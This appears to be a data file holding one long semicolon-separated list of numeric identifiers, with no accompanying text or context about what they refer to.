200011;104632;55905;64245;41062;66268;69948;67127;81437;11500;103305;20372;53859;16332;10367;16000;11203;85662;14243;82498;20317;31050;57890;17256;51926;73292;73206;39449;89675;45111;10417;24265;73611;81553;10618;94053;73894;66995;80457;39006;45593;11118;11857;95392;92820;87326;96663;20813;86699;50086;49052;85241;48285;18181;61571;18243;32397;62182;59556;65983;15392;99520;77571;59038;88041;85848;101903;71229;58426;11062;10829;35363;76597;46255;69378;44423;77222;104361;51190;100170;38155;94391;32318;35702;11602;10962;56210;24782;103749;10828;69059;73524;17231;34205;10193;73528;49307;11381;66404;56050;34269;84194;11102;42424;71378;51902;81815;25149;51057;50614;35088;51893;12224;73349;10545;88413;73475;62690;10278;77538;22255;74008;69132;79583;78624;49808;88681;64842;10902;44339;11671;33437;46814;34741;80961;27608;72581;18354;93737;70889;102176;28361;76456;76775;82998;47114;21608;49088;200042;83299;47621;55764;22115;11976;61561;11165;11752;20806;70368;34743;10590;34217;58604;77528;38154;31039;83305;21746;44417;76454;91602;62977;49020;80495;20928;70333;10997;80203;81421;88411;20247;42348;20736;11534;22903;69282;11281;73762;14640;74225;65702;73620;93940;51575;17154;11372;78744;91005;64534;25951;24813;21693;19383;58456;62800;22273;22272;89027;64559;22049;10913;85600;93002;25459;21209;76592;82702;83350;78774;81552;25952;11383;90352;19939;10438;76530;61597;23815;86601;80855;85909;10015;10066;84921;78737;51910;35913;92035;35185;62682;88145;11811;21917;82081;81550;93026;85299;16125;93531;91812;91760;65896;12205;91342;45358;69274;70530;62626;66427;30055;58794;25757;36117;46789;47802;84796;62948;104051;90022;80887;87249;31094;14300;104047;17752;11708;39339;64713;82706;26962;20016;86150;22478;11343;62783;49308;10725;64483;15555;14655;84621;53512;19780;61733;11169;94761;51921;82575;94165;10865;51118;66866;70879;87220;59908;63421;104046;69922;12110;38197;34501;22315;69840;49952;43827;40405;85602;85326;18460;18611;11853;17697;99308;17316;15763;66637;35751;63303;54628;95880;67099;69035;17704;78389;73338;22117;15627;86823;100783;72432;47888;23810;29747;58343;25821;33562;65059;27040;91192;10122;44875;11647;84797;25663;64645;17228;11158;11398;103565;73330;67211;71494;12038;70886;71522;62370;16336;83954;76129;35687;26067;99661;84223;91223;58512;12090;56245;67207;58183;88045;24786;17223;24331;19473;84879;20808;52002;53385;63477;83278;11825;19593;77706;55627;66414;65601;84763;15620;103857;43815;86571;101818;44382;22186;65733;57352;15399;19427;19678;80331;76404;10539;100051;81811;17157;58601;21576;23869;39437;72373;78919;62413;71993;90408;70139;73203;99514;19756;11242;16299;11436;91822;87124;70720;76259;77164;65947;10669;19429;10899;59685;63112;12051;77302;83814;74367;84917;65196;74243;102711;25996;11317;63380;65984;13844;53360;69181;84580;43173;11275;15926;10412;72213;10118;84669;50426;72264;91335;12087;11089;42338;69379;10612;20337;55470;70197;105001;71954;94108;22527;11742;31419;76410;73491;49001;77534;16111;65198;16046;69472;76591;66520;11149;200036;85275;55436;78748;65550;97665;10353;20322;100167;87943;81422;99590;77985;73439;19495;65576;88937;10965;57346;55460;11439;78077;83185;73598;10991;103568;23836;99729;97526;74148;76570;50451;10044;31608;22124;19416;25491;61609;51160;91502;70616;79723;78012;83817;57577;48973;11428;10531;63226;62412;70457;11660;51164;18365;67120;44341;42898;81267;100959;66761;66392;61516;24022;50000;99470;12096;87309;33135;76055;45381;103052;91131;81743;24785;81745;34084;97859;13638;23806;39481;59847;80490;91897;31860;21092;71263;14829;76581;68935;90764;104387;11508;18535;63548;10456;83732;88527;47680;47899;56007;64570;88384;70592;76309;71974;76866;18294;48961;72903;50385;11120;31133;50348;28329;104388;81551;83487;73992;15938;39501;91600;100351;21687;42438;11550;72181;76407;49696;70482;11855;20132;84399;10288;104101;99662;24281;14226;10584;95476;11429;54584;73806;16479;44075;11027;35308;47832;58431;88714;101817;70855;83369;51090;11685;69931;36129;56472;54969;11043;20379;17721;83304;103975;49978;30051;21645;83360;88530;64588;83955;69933;10919;10189;89118;66319;62811;94610;29895;48995;20749;51904;67212;21308;19392;97578;12260;93911;35437;72580;42292;91855;11375;40554;64457;52656;14256;72040;72620;40986;10487;77730;55926;26967;89784;70291;17203;50023;64846;69183;24276;10906;49999;90008;10274;80302;46885;73533;25929;71311;52584;58796;57711;104176;71095;21052;55690;11896;72909;12261;50084;88100;89783;25351;11049;27056;81594;30214;26919;91311;56319;70973;101847;59387;100574;12093;71846;104551;90604;28227;78545;10194;102019;14700;30130;95257;91899;85849;77409;90317;10477;11033;81601;92373;67232;72930;35657;52658;102821;82781;15479;51813;11022;11909;24737;17744;104661;16228;84089;41061;17308;46703;51168;20390;42842;17298;29801;53377;42262;56060;20292;87500;105023;17784;91895;16317;33745;103976;18532;62939;78511;88383;42254;44111;50048;64918;52532;22409;40853;87053;20968;69927;11325;10174;66526;20971;23804;18563;64829;55142;26023;54955;19238;78549;72042;94373;82270;10029;71635;11195;21673;34196;11130;55975;59756;92539;104043;11050;57709;55927;95474;97993;20892;58897;66860;12212;10151;10926;100000;79639;65881;61717;61622;11860;14831;80482;74189;10268;55549;16163;35060;16206;53382;76683;79273;38951;78890;10051;200030;99136;17337;72284;11307;84730;43028;94395;95630;33283;90786;42894;73382;58388;95722;19770;65046;200046;83738;94016;48243;11707;26012;70214;101812;10680;73303;100173;82770;72692;80858;46351;53375;97066;66895;69105;72582;103138;12011;70943;97733;64632;64574;90309;10052;10866;43828;64452;81298;46173;35219;12229;86873;56470;99029;71994;21240;59193;32325;18539;87054;43101;65736;77904;10090;12267;30109;17791;84766;44080;61646;48988;10008;79387;20224;69034;84574;12204;11294;10204;59097;15395;10203;28374;58003;44314;20336;10206;29929;104740;44320;34766;91604;72178;12251;44689;29250;10460;64621;77026;55902;58528;90602;18221;65612;50679;80918;76190;101165;16310;10183;65223;52000;49029;35750;14599;71437;11829;84923;64820;43163;11728;11612;66896;65049;70612;10155;24335;58133;31865;26199;10283;55795;71231;11677;10187;39365;60049;62009;90314;10275;33130;103506;51839;11251;93406;63337;81738;10497;59196;51987;60028;71054;15854;64582;96722;22196;60046;81735;85243;24356;88964;22417;19417;103695;31654;27598;14232;25769;42113;71429;76355;16229;91486;86470;25572;18641;103984;66865;91001;72742;14646;12254;79439;92434;69400;25763;1337005;16322;24336;34473;73133;67243;80963;50654;16477;86598;10619;73437;92415;11040;47781;94377;34406;42819;99289;97663;81787;88417;85962;12106;73574;11711;59116;77533;12236;31409;67210;81495;10215;91766;70732;15718;44876;19999;17771;12294;19596;16179;62687;65821;42110;69556;46349;56336;20286;42796;25687;87052;94514;45087;22189;87412;23636;17719;14713;19235;50977;65856;58349;38700;65927;91336;89755;63427;88579;100386;97020;29249;31046;11161;29994;14343;80832;74511;103534;10191;21674;42088;73914;71023;57317;92366;90442;103732;50978;60026;44937;71140;22480;17742;76312;62517;58009;84018;10923;86946;12039;56958;67125;34361;55639;86904;11780;12218;47801;69855;70079;100871;44383;82041;77478;19508;15708;51526;11209;45421;102269;42120;17768;47152;90831;34491;80202;104972;58661;92416;42978;28332;27582;57030;78011;101362;91000;105042;14722;11927;45478;40350;27855;55653;61714;59786;18813;90997;59208;34768;35467;40886;38688;69423;10445;81300;11875;58333;89685;58342;10762;10362;29309;72259;90357;17989;94136;10312;11839;65211;80199;31857;104052;43158;66722;54831;55025;24699;34850;25487;79126;73988;100168;34236;14220;12117;42833;11357;55169;90828;24242;10668;99028;15451;51171;72182;11177;10077;65970;85325;63453;11832;22408;96485;11379;56282;10302;15436;84221;21727;59241;76589;11162;27627;72504;60098;17839;64634;104996;65808;14181;59683;49175;81603;10389;10437;36216;58802;78074;14709;38808;58900;19752;20069;31683;32475;70531;53472;25294;21158;23978;80946;33817;104548;96393;19335;63372;49118;79860;25347;58654;76409;91014;70942;61434;77247;101268;63429;59846;74291;94671;33392;74495;10299;25702;22334;52458;73636;48432;83783;21162;24684;71046;50450;85331;87539;200049;19227;46182;79132;91609;82828;66696;11107;66813;10101;19518;70763;14584;19519;83141;71426;50547;104214;62028;26057;87925;11471;19516;104853;15396;79804;62681;17804;79690;39356;17748;62820;103053;17259;65212;94012;11417;25290;81268;76495;83297;49225;50692;58272;39563;84235;94640;66897;18301;91226;21556;66930;101302;62998;62759;63424;57461;16272;17794;73189;24329;103510;11546;99630;22254;93480;62355;50651;25039;17629;58327;103969;42478;89117;47136;14285;20385;81514;90025;55887;81702;45510;25700;16143;17706;65888;86322;56334;31788;14785;56751;92422;53811;47863;71841;90196;64487;18034;11007;55140;11348;58809;79215;39466;76252;11311;34216;16085;23724;50986;33815;17976;88578;29996;89113;20110;78920;95765;47681;84747;56306;78108;77531;82473;69444;102526;70097;92949;93408;12256;76308;104658;10993;72880;1337228;56737;74187;100573;25249;73080;73155;95716;10724;85402;35555;78482;33219;78431;11482;23782;14225;42107;100766;86445;101113;53829;104498;48950;96608;32400;73734;54970;57283;73343;59356;97891;51356;22867;56981;61492;53593;92439;53575;100025;25692;19557;96729;25025;61491;69926;89757;67123;21631;66351;22047;90763;68915;72286;33272;82855;46783;59714;50526;11109;59109;58591;23930;85346;18553;76458;47716;42308;93468;92018;95881;17672;13841;55471;11898;66941;92365;65950;12112;10049;17611;11822;14637;17297;14272;100957;53625;64287;11892;64843;18371;59655;44081;18628;15950;11970;58292;90407;11541;19499;101953;83525;48201;78915;25242;60065;95887;14664;42307;64298;101811;65889;90538;34695;97988;44059;50604;62313;73619;40984;81402;103924;10698;36161;56163;55903;74247;49149;73516;14284;42109;57600;69930;70850;38792;25023;63423;76411;47606;61494;11082;78627;17985;10257;14654;23997;19551;99731;94374;73989;12238;23972;83354;86818;79336;87766;103839;35451;63381;42108;25493;56241;69912;17831;64571;51342;78437;86323;99309;76215;200040;71858;103838;78429;90026;63618;74467;12059;26000;10838;25627;69038;23833;73682;77248;21185;87415;100768;21117;10050;71045;15450;45083;69420;11152;39331;18178;81595;50449;17212;92542;74249;22116;49646;15914;70883;16318;49014;90315;76621;65899;11932;11010;39447;11587;12000;58363;42475;63692;10423;59195;64921;21159;63063;47745;104639;99631;90566;42347;101820;77284;77001;21606;16123;26016;10856;66177;64825;56683;76937;38829;104570;77573;55993;17996;14274;69080;20973;36154;93527;53210;96002;82800;11594;69134;82773;45004;20384;94376;12240;11490;10192;200050;55133;76116;49028;1337002;18358;90940;14376;94365;11576;94575;14254;63560;19717;25216;36051;64244;59227;25524;22369;11287;18155;47022;70497;49699;76277;29834;34349;103420;16456;11622;11220;16316;69128;84046;87942;65985;62735;70302;76762;20865;87221;91917;11313;89925;39589;100161;31651;40988;104741;82583;33167;94290;96448;73831;85986;10254;11788;64723;70260;49086;89036;20321;40666;49237;56739;69137;58594;90246;100054;11351;59892;65857;12067;33522;68995;12268;17785;11369;55816;59461;33477;16339;91810;16124;90773;80221;58415;97997;89963;10697;1337009;40362;65890;57471;63551;102095;14278;62966;14360;88647;57943;51905;21785;21611;94633;72389;93001;42899;87171;56649;22046;24899;69269;30211;83815;100221;91821;49955;18658;32479;35041;73568;23644;35724;10376;100150;33393;35372;93222;10892;76944;18219;65701;57944;102842;44406;59528;59917;15972;12036;23829;12101;33872;10405;17749;15900;50562;99171;38985;14727;100759;10173;90799;65214;16126;79744;91765;72723;10746;63639;59501;44940;47605;102698;40419;50022;25220;90545;17795;20173;65875;80458;10256;12008;11378;40985;91764;22123;70587;72600;71377;72282;86945;100789;74253;22541;76529;99981;11865;11479;10110;97994;59642;70660;66499;73917;56176;69130;55402;33442;76596;62663;84571;93221;79584;11679;11328;78477;84919;82580;56053;12043;45039;44939;20977;11894;25336;57700;77503;104126;39467;88696;17219;76966;58655;17696;55811;48433;54989;32434;64913;11696;84368;25484;34412;85385;20298;74024;63352;72177;84290;57279;11761;72879;14656;11271;95469;50691;74245;28375;104629;39618;57029;16183;44657;25214;70628;25656;92821;47762;99168;90707;99130;79218;56317;17764;50860;54614;15852;11867;16162;15566;58968;66994;57273;50085;35824;11502;62782;97609;105000;22448;24273;11054;77541;14235;92944;26964;34730;11406;53845;33901;77712;24910;33903;93405;66987;39436;62029;52545;74466;34095;48286;85691;27619;71316;101294;34471;55692;19772;58450;11114;95290;12012;11392;17769;73610;23843;70948;42476;10675;14819;22128;45490;20978;86071;11601;79861;99026;86374;49000;10483;66671;43863;103786;10006;33106;62796;36144;74149;73756;95825;34121;73740;105004;93811;33822;59835;81515;31343;90683;34332;35749;95319;22312;64293;10904;25770;12108;61649;17638;63425;102267;21025;11191;79691;59325;51935;29869;34413;16331;18039;14772;10914;103505;11137;10934;44338;92789;101295;35779;10938;99439;63348;45395;91386;11453;84622;87823;20137;10079;69856;74261;80951;14641;27626;34049;47030;84020;72203;51836;64823;52536;64630;10728;67118;44426;89748;53623;76167;93473;45374;93346;48998;10901;56041;79585;93686;11106;19507;92757;85448;32121;94161;14187;85005;30107;86901;73531;45371;18176;73270;44419;45049;40468;20222;88713;11646;90541;11530;99437;78068;17739;17654;96873;22873;10439;91008;10402;24746;39808;78827;50070;74104;50432;78063;74288;34395;45429;20759;15641;91352;10564;66697;59967;88561;69060;86149;10374;83302;84826;97353;58992;58182;100671;83527;78541;71051;63289;72167;88087;94072;80120;102427;85333;86474;55543;93098;68888;99670;77373;23635;59857;10400;65194;33440;23699;92819;73134;84154;76510;95772;45627;80866;84220;33852;56954;72204;61395;84637;69369;77605;100790;69872;52026;83031;1337026;58453;103753;18046;91961;86850;77303;73291;47036;89724;103380;10282;97895;10214;56484;11614;42399;49779;76457;25026;96730;51176;16207;69371;15861;82708;10614;12637;25655;92019;95435;11562;48202;89752;1338001;44060;10522;35067;11219;62812;43069;43877;33505;81407;96908;58428;15466;44921;76124;67174;49693;22412;65604;25084;77728;58334;87263;95538;17821;38200;52713;104360;84090;55284;73920;35951;11306;11284;10310;73025;103675;15713;10565;14843;65126;56240;97943;87732;59408;11199;56467;86444;66555;35261;48337;73621;101301;62184;47028;10207;51573;81554;99664;70881;31792;50384;66390;59057;97145;78584;11616;72416;34407;24901;14724;45411;15862;42086;49050;1337021;43060;81810;53449;31417;70766;23816;48295;33879;51924;67144;35352;57080;31725;51351;69997;54943;83491;97328;57850;83488;92320;69180;55793;81548;86048;12047;81670;200029;35725;60161;81825;55904;103135;34029;73916;103697;17162;51892;79442;10928;28330;86830;59055;64576;1338002;82899;77855;91010;15563;19748;18573;66308;29981;73674;103376;99287;72830;93828;103985;87417;57920;90542;47557;72260;12647;59558;42259;99663;45051;103781;13659;61774;45406;80118;12225;25754;35621;10613;16064;17787;30124;77813;11088;70627;24875;91003;21153;11844;10627;77021;56992;25337;46237;76192;96447;23925;24280;24864;65880;10676;74496;20729;20169;45590;103978;45430;11413;46839;33820;83266;11035;10956;18012;99200;76314;66325;56125;66174;25879;10300;11411;21697;76616;10554;11565;53336;97835;72430;34363;70257;74106;69272;11897;81246;11202;73132;18182;10260;66944;18413;17306;55983;99594;97941;16278;77687;70320;15974;73949;14315;42260;100127;10666;10976;102528;19397;92843;103788;33873;52457;61612;11900;57026;104383;73768;66422;103140;97991;46016;57460;77056;45359;21242;70343;73963;46203;70295;60035;88594;52543;78024;34411;15432;11666;94680;91547;83352;26020;45018;69995;71428;58976;11293;99586;49228;26921;96269;76427;104637;58352;17313;78507;90000;39520;10609;15996;103567;46883;70412;11443;70074;59968;84645;35743;97326;81791;10769;88718;71323;58452;17782;30216;93534;16309;62797;104276;65792;14307;18638;10721;20377;34346;28181;35930;102779;71537;92585;40850;48942;88380;22900;74270;62202;12031;62757;62986;14273;44987;62989;59246;33856;10581;70142;94515;64914;69101;73415;55668;17970;24712;62563;18403;87947;22498;31418;90191;90590;63155;100260;71889;83733;76146;66306;47138;81974;94634;92440;73380;16312;89083;101773;76311;81247;19256;23977;28226;18258;33812;90199;90567;17351;88680;101162;42820;99982;23970;73738;56972;11264;76474;78513;49953;51914;62283;24235;11341;71177;33095;79862;56736;70090;11917;76770;55775;96803;90310;51162;35287;51177;11382;11876;22188;56024;24239;65876;72173;17282;76344;50510;83731;93077;47746;92823;83529;51080;77962;58400;54617;85804;91677;10768;51395;22333;86327;23963;78679;11498;71892;10303;59110;48363;84085;34404;33094;74147;90439;18029;91227;74269;66718;22269;58416;62101;10046;58389;11878;97833;29700;40494;16175;63147;31726;93482;88715;27585;34244;77710;53547;17327;44874;104847;10983;62310;69043;31129;19716;84057;89938;11087;71264;11560;19311;65222;11044;31040;70073;21039;11946;74162;58748;51367;1337013;42893;78828;104897;69182;65656;73623;74146;61708;11704;65925;52483;33268;99364;17205;87262;39342;27596;17827;58745;62686;100158;52668;20826;25422;61430;69993;71976;32130;40849;84959;87735;35559;21049;66273;11554;20096;92825;13857;71174;15710;18559;73098;77285;96611;76792;58620;70566;99985;61448;24872;90153;57713;21676;10379;17647;27524;72331;51120;79131;17700;83267;82028;10708;94008;96391;59400;30122;89104;83469;19550;87769;18133;46739;63059;19585;45043;69983;24001;14308;32442;95877;19759;94160;19334;94397;81976;63691;86950;45568;84402;63304;80566;93225;18679;40821;76536;12082;103467;52755;91488;16062;12060;81593;90705;55629;44079;19514;102921;54613;61573;57599;46868;55976;21332;100176;76973;54615;59906;52053;11721;84762;58592;22028;58648;10709;93005;59608;47588;61681;200005;47743;34060;27576;49040;71992;66719;55544;71464;29871;93379;78857;57690;91993;85538;10304;79720;10064;78069;10729;77004;81261;54582;49223;85223;80399;65670;22535;72393;103254;58429;11933;18051;94406;87421;11374;20825;85220;48204;58089;17350;81819;44401;72394;90509;50625;78914;101303;65765;11688;58565;73520;14248;14644;10757;76873;81147;15982;27856;18255;21302;10407;34162;59656;77811;12020;65255;62904;24014;55817;42346;11207;21733;79235;91894;35321;13843;20185;95762;104557;65820;66969;67214;86764;57914;85580;85513;30212;82530;22530;34347;70463;74266;23935;71861;87727;25681;53390;17614;54841;35474;17258;91816;77780;66556;11425;65675;86311;11985;33882;91230;53383;63399;84729;43850;93235;11771;77051;20846;51973;45506;44920;65688;11004;19289;96534;38157;35373;46313;35713;71521;31466;34507;91624;24355;15621;97214;48906;24012;45085;105040;19408;50597;31464;92700;18177;69880;10947;99933;97989;10114;66267;51454;92870;62030;82029;71926;100177;93048;21227;24013;26061;11921;19700;83904;70455;74366;58650;65790;62788;58386;104974;47701;94408;42263;61709;72103;68933;64821;10636;69133;42423;29222;85330;12199;48954;103137;63339;61565;66419;90360;85688;45405;10458;103536;87725;47164;87322;10104;55929;76117;85987;46677;62734;91340;67228;81382;11713;20183;69835;52975;78771;30209;51093;76617;77024;17688;44944;21091;11493;84502;17799;57981;11639;100203;18225;17734;58040;20389;14304;20246;21688;84800;87242;64685;76459;100844;31192;70098;15952;81182;11473;87818;80912;25612;69185;69016;65131;93528;71346;91813;10826;104144;58537;34238;92372;10341;76054;57604;10441;60034;10076;73471;93812;76795;25121;42180;77159;11786;78428;34447;62588;42932;81262;14634;90003;63094;90708;91622;17141;10778;18405;97861;32376;77731;93223;78585;96629;29728;77030;19607;91127;17746;55534;21035;62580;72108;11702;10083;93440;101374;81510;22181;76260;57541;23803;79253;59792;54300;74248;34461;51370;103358;84799;11943;62558;103789;64558;23801;45140;72683;56229;43063;95928;97211;57728;97730;25343;26201;30253;99032;36102;35978;47582;10223;70838;70446;51456;89670;64936;71351;65603;93563;34744;71457;71566;40797;10065;66861;102590;78013;10473;57825;12010;11302;72961;35737;33395;10258;17747;89868;22126;91999;63075;70622;11431;88695;22870;18622;25022;21557;70089;96765;88638;103129;93347;86721;11147;70624;33821;97610;74107;20982;53489;58898;49038;90888;55885;17194;11009;94329;10972;19398;15402;11212;77172;91714;55286;71568;104357;40803;62973;25998;76113;55792;24912;99398;44595;11501;34418;73026;39783;48205;56750;40802;72336;93004;11232;45503;74163;42148;66927;104408;64379;46199;20746;38198;70396;70100;15443;69327;47783;100104;11205;12073;81978;88563;72603;91102;96453;97894;11545;76598;65058;32314;13847;20373;85449;42264;79638;25161;56197;55403;72119;102355;16323;91338;59502;25088;61460;59916;10068;58147;34304;64785;11727;52459;59836;57540;57918;62439;42872;58657;25485;71460;78088;101370;103221;12265;31136;46705;16189;72691;69262;40888;73950;25927;14674;51816;17713;85348;61775;10478;72587;50346;72218;77186;73570;59248;70656;94577;24272;35043;96142;88379;82038;23778;97471;26918;76498;91820;73204;27054;53624;88086;90893;72669;11018;100099;83958;57557;49146;21627;46838;46816;91345;89754;45050;45489;11744;81494;96833;60084;84916;11762;76164;19496;103459;48762;62394;20253;92433;90625;34781;88985;11700;65898;45423;55411;15394;10399;82032;55969;69846;76994;20175;10854;64689;40578;91605;16364;62368;20245;51837;33487;99509;55410;34409;16474;34385;89690;34267;97999;73688;58105;18249;10655;49021;34156;59112;42336;31968;10512;38948;50380;10665;24903;46737;45554;96271;23996;84196;69057;93192;33277;22231;64580;100843;66541;72666;51143;52766;84367;10693;63111;100107;21322;80442;81376;86250;59243;55573;91100;69448;103927;63232;78109;15562;38742;26072;66634;70613;19947;80481;56650;11737;11778;81512;10147;20211;71644;71038;65602;64451;73274;11573;57350;31648;64474;71158;33762;35375;24906;72884;59035;71942;59729;65807;20925;97469;61393;36185;50659;56008;11522;48959;58206;11615;89035;64361;19942;83526;65996;72775;87420;17818;11667;64934;33274;100417;29928;101265;94379;18502;74242;73622;72374;32319;11459;95886;48760;23831;10498;31656;65810;77729;73982;31048;90192;17808;45112;92517;104900;11836;40778;78690;25925;78434;54606;25335;35042;66760;53384;18376;82707;32055;51849;27802;61461;10058;11472;64876;28183;90920;11024;11134;44135;17243;83030;80919;69376;100618;94049;70026;56310;86427;11314;92459;69170;88051;38746;78604;51124;56983;69319;29701;36217;78893;77029;12208;70088;22021;23649;78775;40495;71439;104631;14319;48289;11078;99995;64813;17759;68914;48943;52042;100717;54997;73616;70024;10297;11913;52613;56038;10089;15468;27522;84827;38889;81816;85736;38156;10205;79441;11441;76915;56022;14195;10317;73853;76767;15770;81259;71320;19764;16195;34265;66381;85082;92556;24018;11783;86852;73269;92945;18132;70121;100720;11030;67024;71314;62350;17307;72722;17152;31652;20134;11908;44645;84505;71022;66973;91782;40435;63418;87776;71312;18461;11936;11735;74010;101088;101026;62591;45006;22361;200028;11580;64456;93963;17602;64788;51142;103122;55571;100615;103701;12217;17656;51418;11139;70091;53451;1337221;10716;79245;99935;25932;93410;53632;78473;58645;11547;73476;65668;26966;68937;72009;96281;15985;48290;59862;82779;102360;63281;53379;19511;42435;91828;26013;94513;69238;25120;17778;69826;100425;81485;12104;11064;77823;15624;40889;33860;91348;102586;77149;72941;40552;91193;71946;16200;93003;74161;11574;82031;73318;63302;43007;33104;18486;89682;14615;96724;29870;44384;73246;95875;77536;92466;104634;11496;54647;90834;22964;35452;21307;100161;10930;82823;59360;48434;94630;99233;82994;74157;40349;77375;95926;63621;53877;95950;44045;51955;21309;40560;21330;81741;10535;78692;10210;55510;10011;34112;48948;10696;67171;90714;15613;17815;92417;59503;11859;77277;86820;79312;92555;87501;22932;76368;10408;78911;18415;14382;78393;100055;88044;78689;35633;10119;12099;15461;89830;86828;11850;35218;25662;58513;49056;17767;99365;92946;25345;10515;48996;10318;66993;61611;99523;81496;76388;23754;71217;33132;79234;97737;77437;86423;19769;69516;18401;77475;16223;90358;97354;40418;12259;67229;68983;77856;54602;31116;73182;100594;49053;11613;83734;89677;90007;15753;49773;78740;73456;40891;73755;57050;101365;77052;58413;66914;93611;93530;88807;74440;34083;85403;77501;20844;71859;11804;52014;96721;22874;73685;73342;64286;10496;21165;24874;10082;25992;62478;73344;63422;16198;73667;101085;10607;10393;85601;101902;62078;34368;18588;11817;71975;21078;56984;104888;43623;69377;30148;22317;82793;76494;77157;47040;14748;101526;77086;34510;23823;31352;34408;57560;24004;35359;10853;22475;46788;47577;29927;104461;101368;19494;83264;64845;31098;74218;102714;73348;20838;58010;78700;16313;77156;61486;59425;85298;72813;14301;62384;77169;58797;90627;23870;11349;81315;56037;20907;84639;73521;84263;55720;81404;49271;10047;73947;73412;94631;10553;24870;87253;59457;90525;52995;93525;53549;20219;66836;62683;10463;34769;10503;69430;31044;83877;43005;14686;84056;73985;18223;81490;11695;12097;85693;61797;18591;11150;25899;33201;87948;76313;89684;43066;59230;29741;10432;12018;85323;64394;69986;71806;54998;59402;26195;90526;72094;71844;59465;59557;33136;88090;77667;56874;31137;70556;47708;11994;13646;49997;62905;63417;92817;93788;17246;17634;59837;30204;96047;97100;20133;22129;11768;65078;80103;73498;10517;95631;84262;100934;35326;77184;103328;72725;104359;40870;18525;58430;12198;26915;95288;99372;72966;69800;55995;48956;10678;55144;55900;62785;76072;73671;99709;92461;31465;20976;93829;77557;97729;66393;30053;21737;102859;83184;69829;11884;12246;17811;14773;23753;11911;78087;59328;58831;90254;88936;82077;14390;25955;10557;25123;69471;45109;40458;102527;78542;88042;57859;10180;45440;84007;21024;78670;78079;59017;65914;32373;67121;70630;65982;10673;96828;70175;10582;88906;51388;18020;82698;42373;58681;10372;78858;58658;42372;15459;22005;70103;14182;11486;59375;67124;10805;56039;14803;44960;84164;79250;54844;63419;20147;35778;17705;58746;24274;59607;10964;90151;11344;76769;58516;61530;17367;49025;71435;84499;44596;70137;66256;77500;42977;32322;34948;103973;11176;78602;38183;17633;50652;86478;10502;81789;20254;96626;58770;10600;61718;70739;102918;12030;67204;81000;62746;77572;40470;1337223;22234;74293;10462;74246;11777;21625;10284;18522;22268;90861;64579;73854;64722;70742;25551;15762;64246;17792;11591;11197;81001;20750;38952;32137;17304;104890;104854;11941;68963;58975;11409;33480;100151;78082;81258;93111;21691;53641;77053;25902;10109;17991;71862;86255;78823;17727;78514;11618;58726;41980;81649;16204;35468;17222;88693;23928;10291;34209;87254;88843;19503;51664;72214;70972;14614;100385;12061;68879;84151;10681;76389;50546;56993;57862;11244;60081;24998;100220;64258;59797;87954;56239;24338;77987;89674;53876;20744;53514;73915;12638;88381;89785;17305;17736;88598;76405;25246;54580;67193;46015;58321;17329;86058;34099;70293;19386;86247;21053;48351;73864;64262;40773;11521;58994;10900;57800;88385;69276;21580;50689;69552;21787;29898;99199;84017;84086;16201;102202;11845;15722;85653;69866;71847;72039;84158;49691;14302;19946;12007;79137;55127;54605;53323;72482;35430;25765;16314;99105;13859;14227;62990;12017;11274;50687;90540;71944;59018;90066;93814;14388;10530;57770;62579;55797;21779;93962;25040;51876;86366;62621;47831;18166;81575;31132;17790;63242;51874;104886;78546;63095;79625;63113;20295;17293;34043;103746;91611;99587;11283;57666;104409;17604;19502;86916;25822;53391;63355;64589;100422;69929;10733;39767;96001;47803;63225;59911;78076;88694;70716;11253;79641;57043;91124;92630;94166;104547;84055;15859;11387;18587;30207;51925;103674;76262;18392;11592;55507;94403;48962;10434;78669;23835;84053;99283;72771;20970;63185;56198;53380;73379;92871;92787;25842;49807;83136;14336;13637;17230;61534;29855;14834;11579;80489;18503;11848;18139;57032;14719;19218;73644;42306;44076;84291;52611;42339;16321;66410;25085;96450;51815;84810;25811;71972;60119;56119;10629;84217;73515;31735;73373;25460;52050;56862;72185;49270;33866;61487;73209;102713;77539;103962;14659;17694;72859;31797;59171;85847;86822;40851;17983;84431;64567;24270;65050;93655;10280;73119;54842;10593;39852;18355;55650;92557;18216;50539;51458;31411;42087;72034;73299;100052;29867;99584;19689;21152;200026;52158;10632;41645;104127;20348;103672;72579;65951;90798;58409;57353;66480;44425;51998;47581;33899;59293;20833;55630;47579;10454;11091;10170;74423;65630;11514;38890;62461;90891;101090;87872;45422;10476;71941;18626;28289;72621;55473;17757;40420;24003;58231;11083;79640;65047;96305;69443;58651;36171;62940;60064;73991;49036;11069;61414;11558;14222;96486;64475;20926;73668;48991;34158;29854;14729;30057;43172;11468;88088;11785;12075;24735;47710;16334;11634;74041;41058;55907;17717;39346;11649;15529;58319;78675;74365;93224;42115;88679;52531;35822;62390;15517;85300;42053;11119;55445;46222;99671;100152;52673;10086;96610;200031;19758;12028;10112;23640;44110;33481;95468;32399;72510;64789;89680;19938;49949;22364;22073;66474;104898;65215;30219;63200;59559;73125;59359;48405;85845;74152;93810;21247;49224;62967;11830;65878;17829;64292;15905;18050;72180;89103;10171;20181;10727;82830;10987;67245;25755;104103;39469;29746;39809;65738;76788;35008;40822;18264;11144;72262;11006;99237;84289;50830;36072;14327;11322;65643;53548;84047;19547;87206;73672;76306;25693;35631;11703;77388;69333;54956;86899;15623;55577;62352;92437;21565;56711;59456;20834;25735;35009;56165;76936;70413;24275;43062;40805;86996;62810;55691;33133;80201;85887;77406;16327;17349;45623;58901;31120;56651;64485;55977;96770;11478;59357;84924;64555;45509;10023;101357;18681;11403;20251;18011;17692;71317;17735;29726;104437;77708;24902;101046;93229;73120;12053;29833;22203;104901;33926;11278;48287;11658;34851;73416;86192;65997;20062;86827;78075;45435;40617;21154;11148;86884;33270;70657;11015;35296;11042;90441;86653;59077;57337;78548;90190;70313;81126;23783;80303;19597;81602;93898;20003;33763;73641;104031;39500;45047;91162;18040;56510;18420;74122;90429;77003;58527;11495;12284;64484;103456;53492;46858;10848;19406;57978;72904;56391;14832;18098;81592;87953;57863;86061;78435;72041;50476;35360;35977;11301;86610;11481;55859;80910;101836;10806;10135;96831;21100;53536;25167;27600;11798;10977;19404;64826;53405;14375;72480;47712;65949;103131;94052;32194;86547;70456;58526;81919;19698;10264;90544;72773;18288;72008;11288;52704;103112;77984;95663;90308;70398;63241;20734;16045;74264;83520;21226;73804;83959;10453;67259;101168;84021;15484;11760;92457;59310;74328;77332;88412;81731;47765;24784;48975;77822;15715;57849;69050;74026;22368;11567;102272;78422;83490;22307;89781;65901;49007;59849;67122;70072;33128;65731;17823;63559;72092;70980;70683;57335;86060;10670;62744;76777;66176;87252;89052;56634;66871;11442;14800;26069;50513;77909;16216;92467;10591;10048;82848;27575;77711;66304;103986;81401;53475;59211;11596;92790;47744;55908;35804;21116;44116;69139;1337014;31679;104124;25037;1337003;42798;5844